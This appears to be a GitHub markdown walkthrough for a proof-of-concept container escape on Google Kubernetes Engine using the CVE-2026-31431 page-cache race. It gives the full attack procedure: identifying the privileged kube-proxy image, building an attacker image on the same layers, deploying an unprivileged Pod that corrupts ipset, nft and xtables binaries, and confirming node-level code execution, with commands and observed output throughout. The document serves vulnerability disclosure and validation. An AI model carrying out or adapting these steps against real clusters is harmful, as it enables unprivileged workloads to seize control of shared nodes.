Skip to content

Latest commit

 

History

History
466 lines (337 loc) · 16.1 KB

File metadata and controls

466 lines (337 loc) · 16.1 KB

GKE Cluster PoC Walkthrough

Overview

Reproducing the CVE-2026-31431 (Copy Fail) container escape on Google Kubernetes Engine (GKE). The attack principle is identical to the ACK and EKS PoCs: exploit the kernel page-cache CoW race condition to corrupt binaries in shared image layers, causing the privileged GKE-managed kube-proxy DaemonSet to execute attacker-supplied code from a fully unprivileged Pod.

GKE's kube-proxy image is a Google release image with provider-specific layers. For this PoC, build the attacker image directly FROM the exact GKE kube-proxy image tag running on the target node. That guarantees the PoC container and privileged kube-proxy container share the target lower layers.

Prerequisites

  • GKE node kernel is not patched for CVE-2026-31431.
  • GKE kube-proxy runs with privileged: true and hostNetwork: true.
  • GKE kube-proxy uses imagePullPolicy: IfNotPresent.
  • Attacker can deploy an unprivileged Pod in the cluster.
  • The PoC image is scheduled onto the same node as the target kube-proxy Pod.
  • Local tooling: Docker, Go, x86_64-linux-gnu-gcc, kubectl, and optionally gcloud for node SSH.

Step 1: Identify the GKE kube-proxy Image

Check the running kube-proxy DaemonSet:

kubectl get ds kube-proxy -n kube-system -o yaml

Relevant fields from the target GKE cluster:

      containers:
      - command:
        - /bin/sh
        - -c
  - kube-proxy --cluster-cidr=10.60.128.0/17 --oom-score-adj=-998 --v=2 --feature-gates=UnauthenticatedHTTP2DOSMitigation=true,KMSv1=true,WatchCacheInitializationPostStartHook=true --iptables-sync-period=1m --iptables-min-sync-period=10s --ipvs-sync-period=1m --ipvs-min-sync-period=10s --detect-local-mode=NodeCIDR 1>>/var/log/kube-proxy.log 2>&1
        image: us-central1-artifactregistry.gcr.io/gke-release/gke-release/kube-proxy:v1.35.3-gke.1234000
        imagePullPolicy: IfNotPresent
        name: kube-proxy
        securityContext:
          privileged: true
      hostNetwork: true
      serviceAccountName: kube-proxy

The target image is:

us-central1-artifactregistry.gcr.io/gke-release/gke-release/kube-proxy:v1.35.3-gke.1234000

Step 2: Confirm the kube-proxy Container on the Node

SSH to the GKE node:

gcloud compute ssh \
  --zone "us-central1-f" \
  "gke-cluster-1-default-pool-f5051d2c-bcdm" \
  --project "project-88e216b7-9d95-461b-b1d"

On the node, check the runtime and kube-proxy container:

sudo crictl ps
sudo crictl pods --namespace kube-system
sudo crictl images

If the node has ctr instead of crictl:

sudo ctr -n k8s.io containers list
sudo ctr -n k8s.io images list

Confirm that the running kube-proxy image matches the tag identified in Step 1.

Observed on the target node:

Linux gke-cluster-1-default-pool-f5051d2c-bcdm 6.12.68+ x86_64
Container-Optimized OS from Google, VERSION_ID=125, BUILD_ID=19216.220.72

crictl=/usr/bin/crictl
ctr=/usr/bin/ctr

kube-proxy container:
470b05c117f8f  b3b6a38711797  Running  kube-proxy

kube-proxy image aliases cached by containerd:
gke.gcr.io/kube-proxy:v1.35.3-gke.1234000
gke.gcr.io/kube-proxy-amd64:v1.35.3-gke.1234000
us-central1-artifactregistry.gcr.io/gke-release/gke-release/kube-proxy:v1.35.3-gke.1234000
us-central1-artifactregistry.gcr.io/gke-release/gke-release/kube-proxy-amd64:v1.35.3-gke.1234000

image ID: b3b6a38711797
manifest digest in containerd: sha256:5f8df7d02393169e2b728a7f63938666dcb07d8e466071452d7de645a793c3eb
platform: linux/amd64

Step 3: Analyze the GKE kube-proxy Image Layers

Inspect the GKE kube-proxy image:

docker inspect us-central1-artifactregistry.gcr.io/gke-release/gke-release/kube-proxy:v1.35.3-gke.1234000

Important fields from the inspected image:

{
  "Id": "sha256:b3b6a387117970a387072478d10152b7029414b1bacb7d9b43e76e19df770e3f",
        "RepoDigests": [
            "us-central1-artifactregistry.gcr.io/gke-release/gke-release/kube-proxy@sha256:6e9bbe163b56ffcb566e02b92f3b29fa151cadcd0cef5f1dc2867dbd3e247b9a"
        ],
        "Created": "2026-03-27T05:21:32.963529088Z",
            "Labels": {
    "LICENSE_SCAN_TAG": "distroless-iptables/ref_HEAD_121e6ecdddb84cbfd46fd3e4bf5ffa25ad98a562"
        },
        "Architecture": "amd64",
        "Os": "linux",
  "Size": 122338655,
        "RootFS": {
            "Type": "layers",
            "Layers": [
                "sha256:c0707a87cffd54d9611c287f2ce5d58960a9843e593a4339409e7c3c25f63b53",
                "sha256:4c51e6499d14221e8b531d74c8da4f36ed89298067f553610d6036abadfafc8c",
                "sha256:41755e4386d78c4e707bfa74bb32e5828c4c02ddea055ef758a31d8e51c7b50b",
                "sha256:1f76520147589a1a332325f072651b2166144b3727260fd761c7040c659dc8a6",
                "sha256:a531cce44639504248eda04f7d09019982a2fa85b31d9427f7981affeaf5d3a1",
                "sha256:6f13a1ccc2a12e22f0e505833b951665798836e5541498407db3de4c1910e108",
                "sha256:7fea5983860ffe273e6e240d3a01946b0f92b61bfcf1385d827abc0abb6d8aef"
            ]
  }
}

The image has 7 layers. Target binaries such as /usr/sbin/ipset, /usr/sbin/nft, /usr/sbin/xtables-legacy-multi, and /usr/sbin/xtables-nft-multi are available through these layers and are the binaries patched by the PoC.

Step 4: Check the distroless-iptables Lineage

The image label points to Kubernetes release tooling:

distroless-iptables/ref_HEAD_121e6ecdddb84cbfd46fd3e4bf5ffa25ad98a562

The corresponding release Makefile is:

https://github.com/kubernetes/release/blob/121e6ecdddb84cbfd46fd3e4bf5ffa25ad98a562/images/build/distroless-iptables/Makefile

It references:

IMAGE_VERSION ?= v0.8.8

Inspecting registry.k8s.io/build-image/distroless-iptables:v0.8.8 shows a single layer:

{
  "Id": "sha256:cb9c6a556c5ba13fd1442e27a73ba5b43a35bec87f05962c2285b865cd7f5bee",
  "RepoDigests": [
    "registry.k8s.io/build-image/distroless-iptables@sha256:cb9c6a556c5ba13fd1442e27a73ba5b43a35bec87f05962c2285b865cd7f5bee"
  ],
  "Created": "2026-02-12T09:23:05.450951975Z",
  "Architecture": "amd64",
  "Os": "linux",
  "Size": 11515599,
  "RootFS": {
    "Type": "layers",
    "Layers": [
      "sha256:ff32924af9e3fb95556a4b30b9ba3308ef7a01946b0f92b61bfcf1385d827abc0abb6d8aef"
    ]
  }
}

This layer does not match the first layer of the GKE release image. Therefore, unlike the EKS PoC where a public base image can be matched directly, the GKE PoC should build directly from the exact GKE kube-proxy image:

FROM us-central1-artifactregistry.gcr.io/gke-release/gke-release/kube-proxy:v1.35.3-gke.1234000

Step 5: Build the GKE PoC Image

5.1 GKE Dockerfile

Dockerfile.gke is built directly FROM the same image as the GKE-managed kube-proxy DaemonSet:

ARG GKE_PLATFORM=linux/amd64

FROM --platform=$GKE_PLATFORM alpine:3.20 AS busybox
RUN apk add --no-cache busybox-static

FROM --platform=$GKE_PLATFORM us-central1-artifactregistry.gcr.io/gke-release/gke-release/kube-proxy:v1.35.3-gke.1234000

COPY --from=busybox /bin/busybox.static /bin/busybox
RUN ["/bin/busybox", "--install", "-s", "/bin"]
COPY bin/copyfail /bin/copyfail
CMD ["/bin/copyfail"]

The added busybox and copyfail layers sit above the original GKE kube-proxy layers, so the lower layers remain shared with the privileged kube-proxy container on the node.

5.2 GKE Payload

GKE node images vary. Container-Optimized OS (COS) commonly has a read-only root filesystem and a writable stateful partition, while Ubuntu node images use a conventional writable root filesystem. payload/payload-gke.c therefore tries common GCE/COS/Ubuntu device and filesystem combinations and writes the marker to the first writable host path it finds:

/root/res
/copyfail-res
/mnt/stateful_partition/copyfail-res

When mounted under the payload's temporary /mnt, these correspond to:

/mnt/root/res
/mnt/copyfail-res
/mnt/mnt/stateful_partition/copyfail-res

5.3 Build Commands

# Compile GKE payload + Go binary + build Docker image
make docker-build-gke

# Build and push to GHCR
make docker-push-gke IMAGE=ghcr.io/<you>/copy-fail-cve-2026-31431-kubernetes-poc

If pulling the GKE base image from Artifact Registry is flaky, pre-pull it with retries and then rerun the build:

docker pull --platform linux/amd64 --retry 5 --retry-delay 10s \
  us-central1-artifactregistry.gcr.io/gke-release/gke-release/kube-proxy:v1.35.3-gke.1234000

make docker-build-gke

The default GKE build target uses PLATFORM=linux/amd64 to match the inspected image. For arm64 nodes, first confirm the GKE kube-proxy tag has a matching arm64 manifest, then build with matching Go, C, and image platforms:

make docker-build-gke CC=aarch64-linux-gnu-gcc GOARCH=arm64 PLATFORM=linux/arm64

Step 6: Deploy the PoC

6.1 Pre-cache the GKE kube-proxy Image on the Node

If you can SSH to the node, pre-pull or confirm the image is locally cached:

sudo crictl images | sed -n '1,120p'

The target kube-proxy image should already be present because the GKE-managed DaemonSet is running on the node. If needed:

sudo crictl pull us-central1-artifactregistry.gcr.io/gke-release/gke-release/kube-proxy:v1.35.3-gke.1234000

When the PoC image is pulled, containerd should reuse the GKE kube-proxy lower layers.

6.2 Confirm kube-proxy DaemonSet Configuration

kubectl get ds -n kube-system kube-proxy -o jsonpath='{.spec.template.spec.containers[0].securityContext}'

Expected output should contain:

{"privileged":true}

Also confirm host networking:

kubectl get ds -n kube-system kube-proxy -o jsonpath='{.spec.template.spec.hostNetwork}'

Expected:

true

6.3 Deploy the GKE PoC Pod

Update deploy/poc-gke.yaml to point to the registry where you pushed the :gke image, then deploy:

kubectl apply -f deploy/poc-gke.yaml

For a single-node validation without pushing to a registry, import the locally built image into the target node and run a node-pinned Pod:

docker save -o /tmp/copyfail-gke.tar \
  ghcr.io/percivalll/copy-fail-cve-2026-31431-kubernetes-poc:gke

gcloud compute scp \
  --zone "us-central1-f" \
  --project "project-88e216b7-9d95-461b-b1d" \
  /tmp/copyfail-gke.tar \
  "gke-cluster-1-default-pool-f5051d2c-bcdm:/tmp/copyfail-gke.tar"

gcloud compute ssh \
  --zone "us-central1-f" \
  "gke-cluster-1-default-pool-f5051d2c-bcdm" \
  --project "project-88e216b7-9d95-461b-b1d" \
  --command 'sudo ctr -n k8s.io images import /tmp/copyfail-gke.tar'

Then deploy a temporary Pod with imagePullPolicy: Never and nodeName: gke-cluster-1-default-pool-f5051d2c-bcdm.

The Deployment creates a single unprivileged Pod that:

  1. Runs /bin/copyfail to corrupt the page cache of ipset, nft, and xtables-* binaries in the shared image layers.
  2. Sleeps indefinitely so the Pod stays running for observation.

imagePullPolicy note: The manifest ships with imagePullPolicy: Never for the manual-import workflow described above. If you push the image to a registry accessible by the cluster, change it to IfNotPresent.

6.4 Check PoC Pod Logs

kubectl logs -f deployment/copy-fail-poc-gke

Expected output should include one or more patched binaries:

patched /usr/sbin/ipset
patched /usr/sbin/xtables-legacy-multi
patched /usr/sbin/xtables-nft-multi
patched /usr/sbin/nft

Some targets may be skipped if the binary is not present in this GKE image. The PoC only needs at least one target binary that kube-proxy later executes.

Step 7: Verify the Escape

When GKE kube-proxy executes a corrupted binary during its normal reconciliation loop, the payload writes a marker file on the host filesystem.

7.1 Access the Node

gcloud compute ssh \
  --zone "us-central1-f" \
  "gke-cluster-1-default-pool-f5051d2c-bcdm" \
  --project "project-88e216b7-9d95-461b-b1d"

7.2 Check Node Image and Root Storage

Run these commands once per target node to record the exact GKE node image and storage layout:

sed -n '1,40p' /etc/os-release
findmnt /
findmnt /mnt/stateful_partition 2>/dev/null || true
lsblk -f

This confirms which path should contain the marker:

Node image Most likely marker
Ubuntu node image /root/res
COS node image with writable stateful partition /mnt/stateful_partition/copyfail-res or /copyfail-res

Observed on the target COS node:

/                         /dev/dm-0  ext2  ro,relatime
/mnt/stateful_partition   /dev/sda1  ext4  rw,nosuid,nodev,noexec,relatime,commit=30

This is covered by payload/payload-gke.c: it mounts /dev/sda1 as ext4 and writes /copyfail-res inside that mounted filesystem, which appears on the host as /mnt/stateful_partition/copyfail-res.

7.3 Check the Marker File

sudo test -f /root/res && sudo sed -n '1p' /root/res
sudo test -f /copyfail-res && sudo sed -n '1p' /copyfail-res
sudo test -f /mnt/stateful_partition/copyfail-res && sudo sed -n '1p' /mnt/stateful_partition/copyfail-res

Expected output from one of the files:

[*] success

The marker proves attacker-supplied code executed with node-level privileges from the privileged GKE kube-proxy container context while the attacker's Pod remained unprivileged.

Observed end-to-end result on the target node:

PoC Pod log:
patched /usr/sbin/ipset
patched /usr/sbin/xtables-legacy-multi
patched /usr/sbin/xtables-nft-multi
patched /usr/sbin/nft

Host marker:
/mnt/stateful_partition/copyfail-res: [*] success

Step 8: Clean Up

# Delete the PoC Deployment
kubectl delete -f deploy/poc-gke.yaml

# On the affected node, remove all possible marker files
sudo rm -f /root/res /copyfail-res /mnt/stateful_partition/copyfail-res

# Remove a locally imported PoC image, if used
sudo crictl rmi ghcr.io/percivalll/copy-fail-cve-2026-31431-kubernetes-poc:gke 2>/dev/null || true
sudo rm -f /tmp/copyfail-gke.tar

# Drop page cache and restart kube-proxy on the target node to force image layer re-read
sudo sh -c 'sync; echo 3 > /proc/sys/vm/drop_caches'
kubectl delete pod -n kube-system -l k8s-app=kube-proxy --field-selector spec.nodeName=<node-name>

GKE-Specific Notes

Why Build Directly From GKE kube-proxy?

GKE release images are provider-managed Artifact Registry images. The image label references Kubernetes distroless-iptables, but the inspected public build image layer did not match the GKE release image's layers. Building FROM the exact GKE kube-proxy image avoids guessing the private build lineage and guarantees layer sharing with the target container.

COS Root Filesystem Caveat

Google Container-Optimized OS mounts the root filesystem read-only for integrity. The GKE payload therefore checks both conventional root markers and COS-style writable stateful markers. If the marker lands in /mnt/stateful_partition/copyfail-res, that is still host filesystem write access from the privileged DaemonSet context.

Key Differences Between EKS and GKE PoC

Dimension EKS (AWS) GKE (Google Cloud)
kube-proxy image source *.dkr.ecr.*.amazonaws.com/eks/kube-proxy us-central1-artifactregistry.gcr.io/gke-release/gke-release/kube-proxy
Base strategy Match public eks-distro-minimal-base-iptables Build directly from exact GKE kube-proxy image
Node image Amazon Linux 2/2023 COS_CONTAINERD or Ubuntu
Marker path /root/res /root/res, /copyfail-res, or /mnt/stateful_partition/copyfail-res
Dockerfile Dockerfile.eks Dockerfile.gke
Payload source payload/payload-eks.c payload/payload-gke.c
Build command make docker-build-eks make docker-build-gke
Deploy manifest deploy/poc-eks.yaml deploy/poc-gke.yaml

File Inventory

.
├── Dockerfile.gke                    # GKE PoC image build file
├── payload/payload-gke.c             # GKE node validation payload
├── deploy/poc-gke.yaml               # GKE deployment manifest
├── Makefile                          # Includes *-gke build targets
└── docs/gke-poc.md                   # This document